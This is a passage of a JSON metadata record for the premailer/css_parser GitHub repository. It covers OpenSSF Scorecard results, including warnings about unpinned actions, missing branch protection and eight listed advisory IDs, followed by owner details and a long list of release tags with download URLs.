detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Code-Review","score":5,"reason":"Found 10/19 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-2rxp-v6pw-ch6m","Warn: Project is vulnerable to: GHSA-4xqq-m2hx-25v8","Warn: Project is vulnerable to: GHSA-5866-49gr-22v4","Warn: Project is vulnerable to: GHSA-r55c-59qm-vjw6","Warn: Project is vulnerable to: GHSA-vg3r-rm7w-2xgh","Warn: Project is vulnerable to: GHSA-vmwr-mc7x-5vc3","Warn: Project is vulnerable to: GHSA-6f62-3596-g6w7","Warn: Project is vulnerable to: GHSA-r995-q44h-hr64"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-16T18:54:19.860Z","repository_id":45434787,"created_at":"2025-08-16T18:54:19.860Z","updated_at":"2025-08-16T18:54:19.860Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34802385,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-26T02:00:06.560Z","response_time":106,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"premailer","name":"premailer","uuid":"5750522","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/5750522?v=4","repositories_count":5,"last_synced_at":"2024-04-21T03:04:42.616Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/premailer","funding_links":[],"total_stars":2670,"followers":4,"following":0,"created_at":"2022-11-02T16:36:22.230Z","updated_at":"2024-04-21T03:04:43.062Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer/repositories"},"tags":[{"name":"v1.22.0","sha":"040895b7e554f4afbbf1a0dbd239eb2b85de7c32","kind":"tag","published_at":"2026-05-07T21:46:46.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.22.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.22.0/manifests"},{"name":"v2.2.0","sha":"cee10f16b11dd175f17b0e5f6aefa488378e964b","kind":"tag","published_at":"2026-05-07T18:43:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v2.2.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"300f130705f3b358039b8e848f659f971045b88b","kind":"tag","published_at":"2026-04-28T00:11:11.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v2.1.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"6fac0255b37ac468f8dde5b0da56d1b60e528310","kind":"tag","published_at":"2026-02-23T22:00:18.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v2.0.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v2.0.0/manifests"},{"name":"v1.21.1","sha":"89c81113fa040dc3aa97d1423b85234d00a9f68a","kind":"tag","published_at":"2025-03-09T20:29:13.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.21.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.1/manifests"},{"name":"v1.21.0","sha":"cff1ddba66a9aca22a15ebdaaf6cbd35c2652381","kind":"tag","published_at":"2024-12-13T16:46:38.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.21.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.0/manifests"},{"name":"v1.20.0","sha":"f5bfeefc96838d56f86b1a2693af6ec62779c51f","kind":"tag","published_at":"2024-12-12T16:10:50.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.20.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.20.0/manifests"},{"name":"v1.19.1","sha":"837146affae8057200770287db4753b973063a2a","kind":"tag","published_at":"2024-10-13T15:47:53.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.19.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.1/manifests"},{"name":"v1.19.0","sha":"fa1a78f77a6e4d1e220f16723df0a78dbe740f09","kind":"tag","published_at":"2024-08-23T15:17:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.19.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.0/manifests"},{"name":"v1.17.1","sha":"6beca94c2dbb1ebce0c5281997849b7601ef7f03","kind":"tag","published_at":"2024-04-07T16:12:54.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.17.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.1/manifests"},{"name":"v1.17.0","sha":"25605b7b0e76d517f6269945bdffd02cf760484d","kind":"tag","published_at":"2024-04-06T18:10:24.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.17.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"8167588ea302df8a5ff7917e875f9f59fcf2b76b","kind":"tag","published_at":"2023-09-01T05:08:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.16.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"71f1603784516f396ebebf4284349fdb56a5957c","kind":"tag","published_at":"2023-08-29T17:07:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.15.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"b94277e08c11e6f93836ac1480d5aa85fa567bcb","kind":"tag","published_at":"2023-01-09T18:36:38.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.14.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"5765e6cb05da85db6820f8ed5dd1baa1edf267fb","kind":"tag","published_at":"2022-12-29T21:49:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.13.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.13.0/manifests"},{"name":"v1.12.0","sha":"c4545cf19f31bb513ef1beda536936cca2d1c319","kind":"tag","published_at":"2022-09-16T00:25:30.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.12.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"db6960989dacede7ffa653413e0f3ef632974c54","kind":"tag","published_at":"2021-12-14T05:11:23.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.11.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"a672607635b11df2ad6c39913cebbf7944a2735d","kind":"tag","published_at":"2021-07-27T18:45:01.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.10.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"dc86d5bb3dd7d6bc5a9245aaddf18c8351cb2825","kind":"tag","published_at":"2021-02-04T16:08:19.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.9.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"1f942bcbd3007b91d66d17c5081a6993c8547cc7","kind":"tag","published_at":"2021-01-21T19:39:51.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.8.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.8.0/manifests"},{"name":"v1.7.1","sha":"279877086ad2af241299863e8443558118256f5d","kind":"tag","published_at":"2019-12-01T19:30:26.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.7.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"d1d1d608f9c173ef85f50446e2ad2803e6bdbf89","kind":"tag","published_at":"2019-02-11T16:24:46.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.7.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"fae2326ff51799281542869ca78aa3be59000e76","kind":"tag","published_at":"2017-09-08T19:00:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.6.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"b29fff535f97ad25811cc2f84f2e2625427eb54c","kind":"tag","published_at":"2017-04-19T06:23:40.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0/manifests"},{"name":"v1.5.0.pre2","sha":"193911da2609e2a1d26b51831ff39cdffe5d801e","kind":"tag","published_at":"2017-03-14T14:57:45.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0.pre2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0.pre2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0.pre2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre2/manifests"},{"name":"v1.5.0.pre","sha":"8806bed299b5ca3a5106297eb33d9e4489f4fbb7","kind":"tag","published_at":"2017-03-13T07:32:48.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0.pre","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0.pre","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0.pre","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre/manifests"},{"name":"v1.4.10","sha":"25b1144990c2dc695aa8aa4c334bf5387ab35a3c","kind":"tag","published_at":"2017-03-09T10:22:36.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.10","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.10/manifests"},{"name":"v1.4.9","sha":"eedbf177979e54fa54a098735e8ea49fd20f83b9","kind":"tag","published_at":"2017-02-22T08:07:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.9","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.9/manifests"},{"name":"v1.4.8","sha":"a06d6203d1dd27f3411829ca6865ccd2a175907c","kind":"tag","published_at":"2017-02-03T08:27:30.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.8","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.8/manifests"},{"name":"v1.4.7","sha":"782c47943b3ac1775e00e5bad17b49cafe3726b2","kind":"tag","published_at":"2016-11-29T16:16:34.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.7","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.7/manifests"},{"name":"v1.4.6","sha":"fbb5f2a75e07c16f8a51b227276f66ecd11e02d3","kind":"tag","published_at":"2016-10-20T15:28:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.6","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.6/manifests"},{"name":"v1.4.5","sha":"af6b300f2d248028a490ee7fd250380b192963ab","kind":"tag","published_at":"2016-06-28T08:16:00.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.5","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.5/manifests"},{"name":"v1.4.4","sha":"274a6035c83addcaca251cd5abb5726ad70b096e","kind":"tag","published_at":"2016-06-27T21:07:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.4","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.4/manifests"},{"name":"v1.4.3","sha":"0af7c661741ec0295ad4e1fa2ec2c3d575518310","kind":"tag","published_at":"2016-06-27T20:52:07.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.3","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.3/manifests"},{"name":"v1.4.2","sha":"ca62f7eb3be53ce1b6cb8a6fcaf559dac3916791","kind":"tag","published_at":"2016-06-17T14:19:23.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.2/mani